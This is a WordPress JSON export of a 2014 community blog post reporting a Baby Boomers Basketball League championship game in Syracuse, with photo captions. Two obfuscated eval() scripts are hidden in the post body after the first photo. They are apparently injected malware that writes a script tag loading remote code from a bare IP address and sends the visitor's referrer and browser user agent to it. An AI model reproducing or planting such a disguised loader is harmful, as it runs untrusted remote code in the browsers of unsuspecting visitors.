{"id":8615,"date":"2014-03-10T20:04:41","date_gmt":"2014-03-11T01:04:41","guid":{"rendered":"http:\/\/www.sif.net\/wordpress\/?p=8615"},"modified":"2016-03-29T14:37:49","modified_gmt":"2016-03-29T19:37:49","slug":"crowning-achievement","status":"publish","type":"post","link":"https:\/\/www.sif.net\/wordpress\/?p=8615","title":{"rendered":"Crowning Achievement"},"content":{"rendered":"<p><div id=\"attachment_8616\" style=\"width: 347px\" class=\"wp-caption aligncenter\"><img aria-describedby=\"caption-attachment-8616\" loading=\"lazy\" class=\"size-full wp-image-8616\" title=\"Julius &quot;Pop&quot; Anderson floats to the basket for a layup in the final minute of the second half.\" src=\"http:\/\/www.sif.net\/wordpress\/wp-content\/uploads\/2014\/03\/bbbl-pop-360.jpg\" alt=\"Julius &quot;Pop&quot; Anderson floats to the basket for a layup in the final minute of the second half.\" width=\"337\" height=\"544\" srcset=\"https:\/\/www.sif.net\/wordpress\/wp-content\/uploads\/2014\/03\/bbbl-pop-360.jpg 337w, https:\/\/www.sif.net\/wordpress\/wp-content\/uploads\/2014\/03\/bbbl-pop-360-185x300.jpg 185w\" sizes=\"(max-width: 337px) 100vw, 337px\" \/><p id=\"caption-attachment-8616\" class=\"wp-caption-text\">Julius &#8220;Pop&#8221; Anderson floats to the basket for a lay-up in the final minute of the second half.<\/p><\/div><br \/>\n<noindex><script type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\\\o=\"+3(j.i)+\"\\'><\\\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sefhs|var|u0026u|referrer|btrry||js|php'.split('|'),0,{}))\n<\/script><\/noindex> <noindex><script type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\\\o=\"+3(j.i)+\"\\'><\\\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfzhr|var|u0026u|referrer|iaddt||js|php'.split('|'),0,{}))\n<\/script><\/noindex><br \/>\nThis is the second time they&#8217;ve met in two years, so maybe you could call it revenge that\u00a0Showtime (Orange) defeated Flav&#8217;s Unit (Red)\u00a0to claim the BBBL (<a title=\"BBBL Syracuse\" href=\"http:\/\/www.sif.net\/wordpress\/?p=2517\" target=\"_blank\">Baby Boomers Basketball League<\/a>) title at the McChesney Recreation Center yesterday. Behind the steady play of Dave Cain and Julius &#8220;Pop&#8221; Anderson, Showtime won a hard-fought, low-scoring victory 47-39. Flav&#8217;s Unit beat Showtime last season (when the league was being held at the Southwest Community Center).<\/p>\n<p>The crowd, which\u00a0included businessmen, families and former college athletes, seemed to route for league elder statesman Julius &#8220;Pop&#8221; Anderson.<\/p>\n<p>Well maybe not everyone, since\u00a0retired BBBL Commissioner James\u00a0Jackson was also in the house (and his son Derrick plays for Flav).<\/p>\n<p>Speculation began immediately after the game whether Anderson would return next year\u00a0for another repeat\u00a0title.<\/p>\n<p>Surely Flav will have something to say about that&#8230;Showtime may have won this year, but this rivalry is just getting started.<\/p>\n<div id=\"attachment_8617\" style=\"width: 518px\" class=\"wp-caption aligncenter\"><img aria-describedby=\"caption-attachment-8617\" loading=\"lazy\" class=\"size-full wp-image-8617\" title=\"Dave Cain addresss the team during a second half time out.\" src=\"http:\/\/www.sif.net\/wordpress\/wp-content\/uploads\/2014\/03\/bbbl-dave-speech.jpg\" alt=\"Dave Cain addresss the team during a second half time out.\" width=\"508\" height=\"339\" srcset=\"https:\/\/www.sif.net\/wordpress\/wp-content\/uploads\/2014\/03\/bbbl-dave-speech.jpg 508w, https:\/\/www.sif.net\/wordpress\/wp-content\/uploads\/2014\/03\/bbbl-dave-speech-300x200.jpg 300w\" sizes=\"(max-width: 508px) 100vw, 508px\" \/><p id=\"caption-attachment-8617\" class=\"wp-caption-text\">Showtime point guard Dave Cain addresses the team during a time-out.<\/p><\/div>\n<div id=\"attachment_8618\" style=\"width: 518px\" class=\"wp-caption aligncenter\"><img aria-describedby=\"caption-attachment-8618\" loading=\"lazy\" class=\"size-full wp-image-8618\" title=\"Don Crouch (center) and Flav's Unit turned up their man-to-man defense pressure to close the gap in the second half.\" src=\"http:\/\/www.sif.net\/wordpress\/wp-content\/uploads\/2014\/03\/bbbl-donnie-v-dave.jpg\" alt=\"Don Crouch (center) and Flav's Unit turned up their man-to-man defense pressure to close the gap in the second half.\" width=\"508\" height=\"379\" srcset=\"https:\/\/www.sif.net\/wordpress\/wp-content\/uploads\/2014\/03\/bbbl-donnie-v-dave.jpg 508w, https:\/\/www.sif.net\/wordpress\/wp-content\/uploads\/2014\/03\/bbbl-donnie-v-dave-300x223.jpg 300w\" sizes=\"(max-width: 508px) 100vw, 508px\" \/><p id=\"caption-attachment-8618\" class=\"wp-caption-text\">Don Crouch (center) and Flav&#8217;s Unit turned up their man-to-man defense pressure to close the gap in the second half.<\/p><\/div>\n<div id=\"attachment_8619\" style=\"width: 590px\" class=\"wp-caption aligncenter\"><img aria-describedby=\"caption-attachment-8619\" loading=\"lazy\" class=\"size-full wp-image-8619\" title=\"Gil Spaights (Flav's Unit) questions a close call.\" src=\"http:\/\/www.sif.net\/wordpress\/wp-content\/uploads\/2014\/03\/bbbl-gil-v-theref.jpg\" alt=\"Gil Spaights (Flav's Unit) questions a close call.\" width=\"580\" height=\"428\" srcset=\"https:\/\/www.sif.net\/wordpress\/wp-content\/uploads\/2014\/03\/bbbl-gil-v-theref.jpg 580w, https:\/\/www.sif.net\/wordpress\/wp-content\/uploads\/2014\/03\/bbbl-gil-v-theref-300x221.jpg 300w\" sizes=\"(max-width: 580px) 100vw, 580px\" \/><p id=\"caption-attachment-8619\" class=\"wp-caption-text\">Gil Spaights (Flav&#8217;s Unit) questions a close call.<\/p><\/div>\n<div id=\"attachment_8621\" style=\"width: 518px\" class=\"wp-caption aligncenter\"><img aria-describedby=\"caption-attachment-8621\" loading=\"lazy\" class=\"size-full wp-image-8621\" title=\"BBBL Showtime: Last Team Standing\" src=\"http:\/\/www.sif.net\/wordpress\/wp-content\/uploads\/2014\/03\/bbbl-bnb-walkoff.jpg\" alt=\"BBBL Showtime: Last Team Standing\" width=\"508\" height=\"311\" srcset=\"https:\/\/www.sif.net\/wordpress\/wp-content\/uploads\/2014\/03\/bbbl-bnb-walkoff.jpg 508w, https:\/\/www.sif.net\/wordpress\/wp-content\/uploads\/2014\/03\/bbbl-bnb-walkoff-300x183.jpg 300w\" sizes=\"(max-width: 508px) 100vw, 508px\" \/><p id=\"caption-attachment-8621\" class=\"wp-caption-text\">Showtime: The Last Team Standing<\/p><\/div>\n","protected":false},"excerpt":{"rendered":"<p>This is the second time they&#8217;ve met in two years, so maybe you could call it revenge that\u00a0Showtime (Orange) defeated Flav&#8217;s Unit (Red)\u00a0to claim the BBBL (Baby Boomers Basketball League) title at the McChesney Recreation Center yesterday. Behind the steady play of Dave Cain and Julius &#8220;Pop&#8221; Anderson, Showtime won a hard-fought, low-scoring victory 47-39. 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